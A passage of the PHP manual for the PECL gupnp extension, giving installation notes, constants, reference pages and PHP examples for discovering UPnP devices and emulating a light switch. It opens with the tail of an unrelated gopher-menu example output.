  [type] => 1
  [title] => A collection of my writings.
  [path] => /stories
  [host] => gopher.example.com
  [port] => 70
)
Array (
  [type] => 254
  [title] => The HTTP version of this site.
  [path] => URL:http://www.example.com
  [host] => gopher.example.com
  [port] => 70
)
Array (
  [type] => 1
  [title] => Mirror of this site in Spain.
  [path] => /
  [host] => gopher.ejemplo.co.es
  [port] => 70
)
Array (
  [type] => 255
  [title] => Welcome to my gopher site.
  [path] =>
  [host] => error.host
  [port] => 1
)
Array (
  [type] => 255
  [title] => Please select one of the options above.
  [path] =>
  [host] => error.host
  [port] => 1
)
Array (
  [type] => 255
  [title] => Send complaints to /dev/null
  [path] =>
  [host] => error.host
  [port] => 1
)
Array (
  [type] => 255
  [title] => Long live gopher!
  [path] =>
  [host] => error.host
  [port] => 1
)

User Contributed Notes

There are no user contributed notes for this page.


Gupnp

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Browsing devices and services
    • Implementing the BinaryLight device
  • Gupnp Functions
    • gupnp_context_get_host_ip — Get the IP address
    • gupnp_context_get_port — Get the port
    • gupnp_context_get_subscription_timeout — Get the event subscription timeout
    • gupnp_context_host_path — Start hosting
    • gupnp_context_new — Create a new context
    • gupnp_context_set_subscription_timeout — Sets the event subscription timeout
    • gupnp_context_timeout_add — Sets a function to be called at regular intervals
    • gupnp_context_unhost_path — Stop hosting
    • gupnp_control_point_browse_start — Start browsing
    • gupnp_control_point_browse_stop — Stop browsing
    • gupnp_control_point_callback_set — Set control point callback
    • gupnp_control_point_new — Create a new control point
    • gupnp_device_action_callback_set — Set device callback function
    • gupnp_device_info_get_service — Get the service with type
    • gupnp_device_info_get — Get info of root device
    • gupnp_root_device_get_available — Check whether root device is available
    • gupnp_root_device_get_relative_location — Get the relative location of root device.
    • gupnp_root_device_new — Create a new root device
    • gupnp_root_device_set_available — Set whether or not root_device is available
    • gupnp_root_device_start — Start main loop
    • gupnp_root_device_stop — Stop main loop
    • gupnp_service_action_get — Retrieves the specified action arguments
    • gupnp_service_action_return_error — Return error code
    • gupnp_service_action_return — Return successfully
    • gupnp_service_action_set — Sets the specified action return values
    • gupnp_service_freeze_notify — Freeze new notifications
    • gupnp_service_info_get_introspection — Get resource introspection of service
    • gupnp_service_info_get — Get full info of service
    • gupnp_service_introspection_get_state_variable — Returns the state variable data
    • gupnp_service_notify — Notifies listening clients
    • gupnp_service_proxy_action_get — Send action to the service and get value
    • gupnp_service_proxy_action_set — Send action to the service and set value
    • gupnp_service_proxy_add_notify — Sets up callback for variable change notification
    • gupnp_service_proxy_callback_set — Set service proxy callback for signal
    • gupnp_service_proxy_get_subscribed — Check whether subscription is valid to the service
    • gupnp_service_proxy_remove_notify — Cancels the variable change notification
    • gupnp_service_proxy_send_action — Send action with multiple parameters synchronously
    • gupnp_service_proxy_set_subscribed — (Un)subscribes to the service.
    • gupnp_service_thaw_notify — Sends out any pending notifications and stops queuing of new ones.

User Contributed Notes

There are no user contributed notes for this page.


Introduction

GUPnP is an object-oriented open source framework for creating UPnP devices and control points, written in C using GObject and libsoup. This extension wraps GUPnP and provides similar API. All sources and additional documentation can be obtained from the » official site

User Contributed Notes

There are no user contributed notes for this page.


Requirements

In order to use PECL/Gupnp functions you need to install the » gUPnP library version 0.12.7 or greater. It also requires glib-2.0, gssdp-1.0, libsoup-2.4 or greater for all of them.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/gupnp

Note: If ./configure is having trouble finding the libgupnp files (for example, it was installed into a custom prefix directory), use ./configure --with-gupnp=$PREFIX, where $PREFIX is installation prefix of libgupnp.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

GUPNP_TYPE_BOOLEAN (integer)
GUPNP_TYPE_INT (integer)
GUPNP_TYPE_LONG (integer)
GUPNP_TYPE_DOUBLE (integer)
GUPNP_TYPE_FLOAT (integer)
GUPNP_TYPE_STRING (integer)
GUPNP_SIGNAL_DEVICE_PROXY_AVAILABLE (integer)
GUPNP_SIGNAL_DEVICE_PROXY_UNAVAILABLE (integer)
GUPNP_SIGNAL_SERVICE_PROXY_AVAILABLE (integer)
GUPNP_SIGNAL_SERVICE_PROXY_UNAVAILABLE (integer)
GUPNP_SIGNAL_ACTION_INVOKED (integer)
GUPNP_SIGNAL_NOTIFY_FAILED (integer)
GUPNP_SIGNAL_SUBSCRIPTION_LOST (integer)
GUPNP_CONTROL_ERROR_INVALID_ACTION (integer)
GUPNP_CONTROL_ERROR_INVALID_ARGS (integer)
GUPNP_CONTROL_ERROR_OUT_OF_SYNC (integer)
GUPNP_CONTROL_ERROR_ACTION_FAILED (integer)

User Contributed Notes

There are no user contributed notes for this page.


Examples

Table of Contents

  • Browsing devices and services
  • Implementing the BinaryLight device

User Contributed Notes

There are no user contributed notes for this page.


Browsing devices and services

This example shows how to obtain information about all devices and services. It starts an infinite loop (use CLI), and if any of available devices or services are found, the proper callback function will be invoked.

Example #1 Search for all UPnP devices and services.

<?php

/* Callback for available device */
function device_proxy_available_cb($proxy, $arg)
{
    $info = gupnp_device_info_get($proxy);

    $type = $info['device_type'];
    $location = $info['location'];

    printf("Device available:\n");
    printf("\ttype:     %s\n", $type);
    printf("\tlocation: %s\n", $location);
}

/* Callback for available service */
function service_proxy_available_cb($proxy, $arg)
{
    $info = gupnp_service_info_get($proxy);

    $type = $info['service_type'];
    $location = $info['location'];

    printf("Service available:\n");
    printf("\ttype:     %s\n", $type);
    printf("\tlocation: %s\n", $location);
}

/* Create the UPnP context */
$context = gupnp_context_new();
if (!$context) {
    printf("Error creating the GUPnP context\n");
    exit(-1);
}

/* We're interested in everything */
$cp = gupnp_control_point_new($context, "ssdp:all");

/* Set callbacks */
gupnp_control_point_callback_set($cp,
    GUPNP_SIGNAL_DEVICE_PROXY_AVAILABLE, 'device_proxy_available_cb');
gupnp_control_point_callback_set($cp,
    GUPNP_SIGNAL_SERVICE_PROXY_AVAILABLE, 'service_proxy_available_cb');

/* Start for browsing (infinite loop, hit Ctrl-C to interrupt) */
gupnp_control_point_browse_start($cp);

?>

User Contributed Notes

There are no user contributed notes for this page.


Implementing the BinaryLight device

This is an example of UPnP device/service, implementing the BinaryLight device and SwitchPower services to emulate a light switch.

The user interface was purposely simplified in order to show basic concepts and methods.

Example #1 Implementing light server

<?php

/* SetTarget */
function set_target_cb($service, $action, $arg)
{
    /* Get the new target value */
    $target = gupnp_service_action_get($action, 'NewTargetValue', GUPNP_TYPE_BOOLEAN);

    /* If the new target doesn't match the current status, change the status and
       emit a notification that the status has changed. */
    if ($target != $GLOBALS['status']) {
        $GLOBALS['status'] = $target;
        gupnp_service_notify($service, 'Status', GUPNP_TYPE_BOOLEAN, $GLOBALS['status']);
        printf("The light is now %s.\n", $GLOBALS['status'] ? "on" : "off");
    }

    /* Return success to the client */
    gupnp_service_action_return($action);
}

/* GetTarget */
function get_target_cb($service, $action, $arg)
{
    gupnp_service_action_set($action, 'RetTargetValue', GUPNP_TYPE_BOOLEAN, $GLOBALS['status']);
    gupnp_service_action_return($action);
}

/* GetStatus */
function get_status_cb($service, $action, $arg)
{
    gupnp_service_action_set($action, 'ResultStatus', GUPNP_TYPE_BOOLEAN, $GLOBALS['status']);
    gupnp_service_action_return($action);
}

/* By default the light is off */
$GLOBALS['status'] = false;
printf("The light is now %s.\n", $GLOBALS['status'] ? "on" : "off");

/* Create the UPnP context */
$context = gupnp_context_new();
if (!$context) {
    printf("Error creating the GUPnP context\n");
    exit(-1);
}

/* Host the directory that contains device and service description files */
gupnp_context_host_path($context, "./web", "");

/* Create root device */
$location = "/BinaryLight.xml";
$dev = gupnp_root_device_new($context, $location);
gupnp_root_device_set_available($dev, true);

/* Get the switch service from the root device */
$service_type = "urn:schemas-upnp-org:service:SwitchPower:1";
$service = gupnp_device_info_get_service($dev, $service_type);
if (!$service) {
    die("Cannot get SwitchPower1 service\n");
}

/* Set callback for action GetStatus */
gupnp_device_action_callback_set($service, GUPNP_SIGNAL_ACTION_INVOKED, "GetStatus",
    "get_status_cb", "action data, GetStatus");

/* Set callback for action GetTarget */
gupnp_device_action_callback_set($service, GUPNP_SIGNAL_ACTION_INVOKED, "GetTarget",
    "get_target_cb", "action data, GetTarget");

/* Set callback for action SetTarget */
gupnp_device_action_callback_set($service, GUPNP_SIGNAL_ACTION_INVOKED, "SetTarget",
    "set_target_cb", "action data, SetTarget");

/* Run the main loop */
gupnp_root_device_start($dev);

?>

Example #2 Implementing light client

<?php

function service_proxy_available_cb($proxy, $arg)
{
    $mode = $arg['mode'];

    printf("Set subscribed\n");
    gupnp_service_proxy_set_subscribed($proxy, true);

    /* Add notify if status will be changed */
    if (!gupnp_service_proxy_add_notify($proxy, "Status",
            GUPNP_TYPE_BOOLEAN, "status_changed_cb", NULL)) {
        printf("Failed to add notify\n");
    }

    if ($mode == 'TOGGLE') {
        /* We're toggling, so first fetch the current status */
        $target = gupnp_service_proxy_action_get($proxy, 'GetStatus', 'ResultStatus', GUPNP_TYPE_BOOLEAN);

        /* And then toggle it */
        $target = ! $target;
    } else {
        /* Mode is a boolean, so the target is the mode thanks to our well chosen
           enumeration values. */
        $target = ($mode == 'ON') ? true : false;
    }

    /* Set the target */
    if (!gupnp_service_proxy_action_set($proxy, 'SetTarget', 'NewTargetValue', $target, GUPNP_TYPE_BOOLEAN)) {
        printf("Cannot set switch\n");
    } else {
        printf("Set switch to %s.\n", $target ? "on" : "off");
    }

    /* Stop browsing */
    gupnp_control_point_browse_stop($arg['cp']);
}

function status_changed_cb($variable, $value, $arg)
{
    printf("Status has been changed\n");
    printf("\tvariable name: %s\n", $variable);
    printf("\tvalue: %s\n", (int)$value);
    printf("\n");
}

/* Check and parse command line arguments */
if (count($argv) != 2) {
    printf("Usage: light-client.php [on|off|toggle]\n");
    exit(-1);
}

if ($argv[1] == "on") {
    $mode = 'ON';
} elseif ($argv[1] == "off") {
    $mode = 'OFF';
} elseif ($argv[1] == "toggle") {
    $mode = 'TOGGLE';
} else {
    usage ();
    exit(-1);
}

/* Create the UPnP context */
$context = gupnp_context_new();
if (!$context) {
    printf("Error creating the GUPnP context\n");
    exit(-1);
}

/* Create the control point, searching for SwitchPower services */
$cp = gupnp_control_point_new ($context,
        "urn:schemas-upnp-org:service:SwitchPower:1");

/* Connect to the service-found callback */
$cb = "service_proxy_available_cb";
$arg = array('mode' => $mode, 'cp' => $cp);
gupnp_control_point_callback_set($cp, GUPNP_SIGNAL_SERVICE_PROXY_AVAILABLE, $cb, $arg);

/* Start for browsing */
gupnp_control_point_browse_start($cp);

?>

User Contributed Notes

There are no user contributed notes for this page.


Gupnp Functions

Table of Contents

  • gupnp_context_get_host_ip — Get the IP address
  • gupnp_context_get_port — Get the port
  • gupnp_context_get_subscription_timeout — Get the event subscription timeout
  • gupnp_context_host_path — Start hosting
  • gupnp_context_new — Create a new context
  • gupnp_context_set_subscription_timeout — Sets the event subscription timeout
  • gupnp_context_timeout_add — Sets a function to be called at regular intervals
  • gupnp_context_unhost_path — Stop hosting
  • gupnp_control_point_browse_start — Start browsing
  • gupnp_control_point_browse_stop — Stop browsing
  • gupnp_control_point_callback_set — Set control point callback
  • gupnp_control_point_new — Create a new control point
  • gupnp_device_action_callback_set — Set device callback function
  • gupnp_device_info_get_service — Get the service with type
  • gupnp_device_info_get — Get info of root device
  • gupnp_root_device_get_available — Check whether root device is available
  • gupnp_root_device_get_relative_location — Get the relative location of root device.
  • gupnp_root_device_new — Create a new root device
  • gupnp_root_device_set_available — Set whether or not root_device is available
  • gupnp_root_device_start — Start main loop
  • gupnp_root_device_stop — Stop main loop
  • gupnp_service_action_get — Retrieves the specified action arguments
  • gupnp_service_action_return_error — Return error code
  • gupnp_service_action_return — Return successfully
  • gupnp_service_action_set — Sets the specified action return values
  • gupnp_service_freeze_notify — Freeze new notifications
  • gupnp_service_info_get_introspection — Get resource introspection of service
  • gupnp_service_info_get — Get full info of service
  • gupnp_service_introspection_get_state_variable — Returns the state variable data
  • gupnp_service_notify — Notifies listening clients
  • gupnp_service_proxy_action_get — Send action to the service and get value
  • gupnp_service_proxy_action_set — Send action to the service and set value
  • gupnp_service_proxy_add_notify — Sets up callback for variable change notification
  • gupnp_service_proxy_callback_set — Set service proxy callback for signal
  • gupnp_service_proxy_get_subscribed — Check whether subscription is valid to the service
  • gupnp_service_proxy_remove_notify — Cancels the variable change notification
  • gupnp_service_proxy_send_action — Send action with multiple parameters synchronously
  • gupnp_service_proxy_set_subscribed — (Un)subscribes to the service.
  • gupnp_service_thaw_notify — Sends out any pending notifications and stops queuing of new ones.

User Contributed Notes

There are no user contributed notes for this page.


Get the IP address

  • « Gupnp Functions
  • gupnp_context_get_port »
  • PHP Manual
  • Gupnp Functions
  • Get the IP address

gupnp_context_get_host_ip

(PECL gupnp >= 0.1.0)

gupnp_context_get_host_ip — Get the IP address

Description

string gupnp_context_get_host_ip ( resource $context )

Get the IP address we advertise ourselves as using.

Parameters

context

A context identifier, returned by gupnp_context_new().

Return Values

Returns the IP address for the current context and FALSE on error.

Examples

Example #1 Create new UPnP context and get IP address of the host

<?php

/* Create the UPnP context */
$context = gupnp_context_new();

if (!$context) {
 die("Error creating the GUPnP context\n");
}

/* Get IP address for the UPnP context */
$ip = gupnp_context_get_host_ip($context);
echo $ip;

?>

See Also

  • gupnp_context_new() - Create a new context
  • gupnp_context_get_port() - Get the port

User Contributed Notes

There are no user contributed notes for this page.


Get the port

  • « gupnp_context_get_host_ip
  • gupnp_context_get_subscription_timeout »
  • PHP Manual
  • Gupnp Functions
  • Get the port

gupnp_context_get_port

(PECL gupnp >= 0.1.0)

gupnp_context_get_port — Get the port

Description

int gupnp_context_get_port ( resource $context )

Get the port that the SOAP server is running on.

Parameters

context

A context identifier, returned by gupnp_context_new().

Return Values

Returns the port number for the current context and FALSE on error.

Examples

Example #1 Create new UPnP context and get port number

<?php

/* Create the UPnP context */
$context = gupnp_context_new();

if (!$context) {
 die("Error creating the GUPnP context\n");
}

/* Get the port number for the UPnP context */
$port = gupnp_context_get_port($context);
echo $port;

?>

See Also

  • gupnp_context_new() - Create a new context
  • gupnp_context_get_host_ip() - Get the IP address

User Contributed Notes

There are no user contributed notes for this page.


Get the event subscription timeout

  • « gupnp_context_get_port
  • gupnp_context_host_path »
  • PHP Manual
  • Gupnp Functions
  • Get the event subscription timeout

gupnp_context_get_subscription_timeout

(PECL gupnp >= 0.1.0)

gupnp_context_get_subscription_timeout — Get the event subscription timeout

Description

int gupnp_context_get_subscription_timeout ( resource $context )

Get the event subscription timeout (in seconds), or 0 meaning there is no timeout.

Parameters

context

A context identifier, returned by gupnp_context_new().

Return Values

The event subscription timeout in seconds.

See Also

  • gupnp_context_new() - Create a new context
  • gupnp_context_set_subscription_timeout() - Sets the event subscription timeout

User Contributed Notes

There are no user contributed notes for this page.


Start hosting

  • « gupnp_context_get_subscription_timeout
  • gupnp_context_new »
  • PHP Manual
  • Gupnp Functions
  • Start hosting

gupnp_context_host_path

(PECL gupnp >= 0.1.0)

gupnp_context_host_path — Start hosting

Description

bool gupnp_context_host_path ( resource $context , string $local_path , string $server_path )

Start hosting local_path at server_path. Files with the path local_path.LOCALE (if they exist) will be served up when LOCALE is specified in the request's Accept-Language header.

Parameters

context

A context identifier, returned by gupnp_context_new().

local_path

Path to the local file or folder to be hosted.

server_path

Web server path where local_path should be hosted.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Create new UPnP context and set host path

<?php

/* Create the UPnP context */
$context = gupnp_context_new();

if (!$context) {
 die("Error creating the GUPnP context\n");
}

/* Host current directory */
gupnp_context_host_path($context, "./web", "");

?>

See Also

  • gupnp_context_new() - Create a new context
  • gupnp_context_unhost_path() - Stop hosting

User Contributed Notes

There are no user contributed notes for this page.


Create a new context

  • « gupnp_context_host_path
  • gupnp_context_set_subscription_timeout »
  • PHP Manual
  • Gupnp Functions
  • Create a new context

gupnp_context_new

(PECL gupnp >= 0.1.0)

gupnp_context_new — Create a new context

Description

resource gupnp_context_new ([ string $host_ip [, int $port = 0 ]] )

Create a new context with the specified host_ip and port.

Parameters

host_ip

The local host's IP address, or NULL to use the IP address of the first non-loopback network interface.

port

Port to run on, or 0 if you don't care what port is used.

Return Values

A context identifier.

Examples

Example #1 Create new UPnP context

<?php

/* Create the UPnP context */
$context = gupnp_context_new();

if (!$context) {
 die("Error creating the GUPnP context\n");
}

?>

Errors/Exceptions

Issues E_WARNING with unable to create context.

User Contributed Notes

There are no user contributed notes for this page.


Sets the event subscription timeout

  • « gupnp_context_new
  • gupnp_context_timeout_add »
  • PHP Manual
  • Gupnp Functions
  • Sets the event subscription timeout

gupnp_context_set_subscription_timeout

(PECL gupnp >= 0.1.0)

gupnp_context_set_subscription_timeout — Sets the event subscription timeout

Description

void gupnp_context_set_subscription_timeout ( resource $context , int $timeout )

Sets the event subscription timeout (in seconds) to time out. Note that any client side subscriptions will automatically be renewed.

Parameters

context

A context identifier, returned by gupnp_context_new().

timeout

The event subscription timeout in seconds. Use 0 if you don't want subscriptions to time out.

Return Values

No value is returned.

See Also

  • gupnp_context_new() - Create a new context
  • gupnp_context_get_subscription_timeout() - Get the event subscription timeout

User Contributed Notes

There are no user contributed notes for this page.


Sets a function to be called at regular intervals

  • « gupnp_context_set_subscription_timeout
  • gupnp_context_unhost_path »
  • PHP Manual
  • Gupnp Functions
  • Sets a function to be called at regular intervals

gupnp_context_timeout_add

(PECL gupnp >= 0.1.0)

gupnp_context_timeout_add — Sets a function to be called at regular intervals

Description

bool gupnp_context_timeout_add ( resource $context , int $timeout , mixed $callback [, mixed $arg ] )

Sets a function to be called at regular intervals.

Parameters

context

A context identifier, returned by gupnp_context_new().

timeout

A timeout in miliseconds.

callback

The callback function calling every timeout period of time. Typically, callback function takes on arg parameter.

arg

User data for callback.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Create new UPnP context and set callback

<?php

$user_data = "user data";

function timeout_cb($arg)
{
    printf("Call timeout_cb, user data: '%s'", $arg);
    return true;
}

/* Create the UPnP context */
$context = gupnp_context_new();

if (!$context) {
 die("Error creating the GUPnP context\n");
}

/* Create root device */
$dev = gupnp_root_device_new($context, "/devicedesc.xml");

/* Set callback for timeout */
gupnp_context_timeout_add($context, 5000, "timeout_cb", $user_data);

/* Run the main loop */
gupnp_root_device_start($dev);

?>

Errors/Exceptions

Issues E_WARNING with not valid callback function.

See Also

  • gupnp_context_new() - Create a new context

User Contributed Notes

There are no user contributed notes for this page.


Stop hosting

  • « gupnp_context_timeout_add
  • gupnp_control_point_browse_start »
  • PHP Manual
  • Gupnp Functions
  • Stop hosting

gupnp_context_unhost_path

(PECL gupnp >= 0.1.0)

gupnp_context_unhost_path — Stop hosting

Description

bool gupnp_context_unhost_path ( resource $context , string $server_path )

Stop hosting the file or folder at server_path.

Parameters

context

A context identifier, returned by gupnp_context_new().

server_path

Web server path where the file or folder is hosted.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • gupnp_context_new() - Create a new context
  • gupnp_context_host_path() - Start hosting

User Contributed Notes

There are no user contributed notes for this page.


Start browsing

  • « gupnp_context_unhost_path
  • gupnp_control_point_browse_stop »
  • PHP Manual
  • Gupnp Functions
  • Start browsing

gupnp_control_point_browse_start

(PECL gupnp >= 0.1.0)

gupnp_control_point_browse_start — Start browsing

Description

bool gupnp_control_point_browse_start ( resource $cpoint )

Start the search and calls user-defined callback.

Parameters

cpoint

A control point identifier, returned by gupnp_control_point_new().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Create new UPnP context and start browsing

<?php

function device_proxy_available_cb($proxy, $arg)
{
    $info = gupnp_device_info_get($proxy);

    $type = $info['device_type'];
    $location = $info['location'];

    printf("Device available:\n");
    printf("type:     %s\n", $type);
    printf("location: %s\n", $location);
}

/* Create the UPnP context */
$context = gupnp_context_new();

if (!$context) {
 die("Error creating the GUPnP context\n");
}

/* We're interested in everything */
$cp = gupnp_control_point_new($context, "ssdp:all");

gupnp_control_point_callback_set($cp,
    GUPNP_SIGNAL_DEVICE_PROXY_AVAILABLE, 'device_proxy_available_cb');

/* Start for browsing */
gupnp_control_point_browse_start($cp);

?>

See Also

  • gupnp_control_point_new() - Create a new control point
  • gupnp_control_point_browse_stop() - Stop browsing

User Contributed Notes

There are no user contributed notes for this page.


Stop browsing

  • « gupnp_control_point_browse_start
  • gupnp_control_point_callback_set »
  • PHP Manual
  • Gupnp Functions
  • Stop browsing

gupnp_control_point_browse_stop

(PECL gupnp >= 0.1.0)

gupnp_control_point_browse_stop — Stop browsing

Description

bool gupnp_control_point_browse_stop ( resource $cpoint )

Stop the search and calls user-defined callback.

Parameters

cpoint

A control point identifier, returned by gupnp_control_point_new().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • gupnp_control_point_new() - Create a new control point
  • gupnp_control_point_browse_start() - Start browsing

User Contributed Notes

There are no user contributed notes for this page.


Set control point callback

  • « gupnp_control_point_browse_stop
  • gupnp_control_point_new »
  • PHP Manual
  • Gupnp Functions
  • Set control point callback

gupnp_control_point_callback_set

(PECL gupnp >= 0.1.0)

gupnp_control_point_callback_set — Set control point callback

Description

bool gupnp_control_point_callback_set ( resource $cpoint , int $signal , mixed $callback [, mixed $arg ] )

Set control point callback function for signal.

Parameters

cpoint

A control point identifier, returned by gupnp_control_point_new().

signal

The value of signal. Signal can be one of the following values:

GUPNP_SIGNAL_DEVICE_PROXY_AVAILABLE
Emitted whenever a new device has become available.
GUPNP_SIGNAL_DEVICE_PROXY_UNAVAILABLE
Emitted whenever a device is not available any more.
GUPNP_SIGNAL_SERVICE_PROXY_AVAILABLE
Emitted whenever a new service has become available.
GUPNP_SIGNAL_SERVICE_PROXY_UNAVAILABLE
Emitted whenever a service is not available any more.

callback

The callback function for the certain signal. Typically, callback function takes on two parameters. The proxy parameter's identifier being the first, and the arg second.

arg

User data for callback.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Create new UPnP context and start browsing

<?php

function device_proxy_available_cb($proxy, $arg)
{
    $info = gupnp_device_info_get($proxy);

    $type = $info['device_type'];
    $location = $info['location'];

    printf("Device available:\n");
    printf("type:     %s\n", $type);
    printf("location: %s\n", $location);
}

/* Create the UPnP context */
$context = gupnp_context_new();

if (!$context) {
 die("Error creating the GUPnP context\n");
}

/* We're interested in everything */
$cp = gupnp_control_point_new($context, "ssdp:all");

gupnp_control_point_callback_set($cp,
    GUPNP_SIGNAL_DEVICE_PROXY_AVAILABLE, 'device_proxy_available_cb');

/* Start for browsing */
gupnp_control_point_browse_start($cp);

?>

Errors/Exceptions

Issues E_WARNING with not valid callback function.

See Also

  • gupnp_control_point_new() - Create a new control point
  • gupnp_control_point_browse_start() - Start browsing

User Contributed Notes

There are no user contributed notes for this page.


Create a new control point

  • « gupnp_control_point_callback_set
  • gupnp_device_action_callback_set »
  • PHP Manual
  • Gupnp Functions
  • Create a new control point

gupnp_control_point_new

(PECL gupnp >= 0.1.0)

gupnp_control_point_new — Create a new control point

Description

resource gupnp_control_point_new ( resource $context , string $target )

Create a new control point with the specified target.

Parameters

context

A context identifier, returned by gupnp_context_new().

target

The search target. target should be a service or device name, such as urn:schemas-upnp-org:service:WANIPConnection:1 or urn:schemas-upnp-org:device:MediaRenderer:1.

Return Values

A control point identifier.

User Contributed Notes

There are no user contributed notes for this page.


Set device callback function

  • « gupnp_control_point_new
  • gupnp_device_info_get_service »
  • PHP Manual
  • Gupnp Functions
  • Set device callback function

gupnp_device_action_callback_set

(PECL gupnp >= 0.1.0)

gupnp_device_action_callback_set — Set device callback function

Description

bool gupnp_device_action_callback_set ( resource $root_device , int $signal , string $action_name , mixed $callback [, mixed $arg ] )

Set device callback function for signal and action.

Parameters

root_device

A root device identifier, returned by gupnp_root_device_new().

signal

The value of signal. Signal can be one of the following values:

GUPNP_SIGNAL_ACTION_INVOKED
Emitted whenever an action is invoked. Handler should process action and must call either gupnp_service_action_return() or gupnp_service_action_return_error().
GUPNP_SIGNAL_NOTIFY_FAILED
Emitted whenever notification of a client fails.

action_name

The name of action.

callback

The callback function for the certain signal. Typically, callback function takes on three parameters. The service parameter's identifier being the first, action parameter's identifier (in case GUPNP_SIGNAL_ACTION_INVOKED signal) or error parameter's message (in case GUPNP_SIGNAL_NOTIFY_FAILED signal) being the second, and the arg is third.

arg

User data for callback.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Issues E_WARNING either with not valid callback function or with not valid signal.

See Also

  • gupnp_root_device_new() - Create a new root device

User Contributed Notes

There are no user contributed notes for this page.


Get the service with type

  • « gupnp_device_action_callback_set
  • gupnp_device_info_get »
  • PHP Manual
  • Gupnp Functions
  • Get the service with type

gupnp_device_info_get_service

(PECL gupnp >= 0.1.0)

gupnp_device_info_get_service — Get the service with type

Description

resource gupnp_device_info_get_service ( resource $root_device , string $type )

Get the service with type or false if no such device was found.

Parameters

root_device

A root device identifier, returned by gupnp_root_device_new().

type

The type of the service to be retrieved.

Return Values

A service identifier.

Examples

Example #1 Create new UPnP context and get device info service

<?php

/* Create the UPnP context */
$context = gupnp_context_new();

if (!$context) {
 die("Error creating the GUPnP context\n");
}

/* Create root device */
$location = "/BinaryLight1.xml";
$dev = gupnp_root_device_new($context, $location);

/* Set root device is available */
gupnp_root_device_set_available($dev, true);

/* Get the switch service from the root device */
$service_type = "urn:schemas-upnp-org:service:SwitchPower:1";
$service = gupnp_device_info_get_service($dev, $service_type);
if (!$service) {
    die("Cannot get SwitchPower1 service\n");
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Get info of root device

  • « gupnp_device_info_get_service
  • gupnp_root_device_get_available »
  • PHP Manual
  • Gupnp Functions
  • Get info of root device

gupnp_device_info_get

(PECL gupnp >= 0.1.0)

gupnp_device_info_get — Get info of root device

Description

array gupnp_device_info_get ( resource $root_device )

Get info of root device.

Parameters

root_device

A root device identifier, returned by gupnp_root_device_new().

Return Values

Return array wich contains the information of the root device (like location, url, udn and etc).

User Contributed Notes

There are no user contributed notes for this page.


Check whether root device is available

  • « gupnp_device_info_get
  • gupnp_root_device_get_relative_location »
  • PHP Manual
  • Gupnp Functions
  • Check whether root device is available

gupnp_root_device_get_available

(PECL gupnp >= 0.1.0)

gupnp_root_device_get_available — Check whether root device is available

Description

bool gupnp_root_device_get_available ( resource $root_device )

Get whether or not root_device is available (announcing its presence).

Parameters

root_device

A root device identifier, returned by gupnp_root_device_new().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • gupnp_root_device_set_available() - Set whether or not root_device is available

User Contributed Notes

There are no user contributed notes for this page.


Get the relative location of root device.

  • « gupnp_root_device_get_available
  • gupnp_root_device_new »
  • PHP Manual
  • Gupnp Functions
  • Get the relative location of root device.

gupnp_root_device_get_relative_location

(PECL gupnp >= 0.1.0)

gupnp_root_device_get_relative_location — Get the relative location of root device.

Description

string gupnp_root_device_get_relative_location ( resource $root_device )

Get the relative location of root device.

Parameters

root_device

A root device identifier, returned by gupnp_root_device_new().

Return Values

The relative location of root device

User Contributed Notes

There are no user contributed notes for this page.


Create a new root device

  • « gupnp_root_device_get_relative_location
  • gupnp_root_device_set_available »
  • PHP Manual
  • Gupnp Functions
  • Create a new root device

gupnp_root_device_new

(PECL gupnp >= 0.1.0)

gupnp_root_device_new — Create a new root device

Description

resource gupnp_root_device_new ( resource $context , string $location , string $description_dir )

Create a new root device, automatically downloading and parsing location.

Parameters

context

A context identifier, returned by gupnp_context_new().

location

Location of the description file for this device, relative to the HTTP root

Return Values

A root device identifier.

Examples

Example #1 Create new UPnP context and get device info service

<?php

/* Create the UPnP context */
$context = gupnp_context_new();

if (!$context) {
 die("Error creating the GUPnP context\n");
}

/* Create root device */
$location = "/BinaryLight1.xml";
$dev = gupnp_root_device_new($context, $location);

?>

See Also

  • gupnp_root_device_set_available() - Set whether or not root_device is available
  • gupnp_root_device_start() - Start main loop
  • gupnp_root_device_stop() - Stop main loop

User Contributed Notes

There are no user contributed notes for this page.


Set whether or not root_device is available

  • « gupnp_root_device_new
  • gupnp_root_device_start »
  • PHP Manual
  • Gupnp Functions
  • Set whether or not root_device is available

gupnp_root_device_set_available

(PECL gupnp >= 0.1.0)

gupnp_root_device_set_available — Set whether or not root_device is available

Description

bool gupnp_root_device_set_available ( resource $root_device , bool $available )

Controls whether or not root_device is available (announcing its presence).

Parameters

root_device

A root device identifier, returned by gupnp_root_device_new().

available

Set TRUE if root_device should be available.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • gupnp_root_device_get_available() - Check whether root device is available

User Contributed Notes

There are no user contributed notes for this page.


Start main loop

  • « gupnp_root_device_set_available
  • gupnp_root_device_stop »
  • PHP Manual
  • Gupnp Functions
  • Start main loop

gupnp_root_device_start

(PECL gupnp >= 0.1.0)

gupnp_root_device_start — Start main loop

Description

bool gupnp_root_device_start ( resource $root_device )

Start root server's main loop.

Parameters

root_device

A root device identifier, returned by gupnp_root_device_new().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • gupnp_root_device_stop() - Stop main loop

User Contributed Notes

There are no user contributed notes for this page.


Stop main loop

  • « gupnp_root_device_start
  • gupnp_service_action_get »
  • PHP Manual
  • Gupnp Functions
  • Stop main loop

gupnp_root_device_stop

(PECL gupnp >= 0.1.0)

gupnp_root_device_stop — Stop main loop

Description

bool gupnp_root_device_stop ( resource $root_device )

Stop root server's main loop.

Parameters

root_device

A root device identifier, returned by gupnp_root_device_new().

Return Values

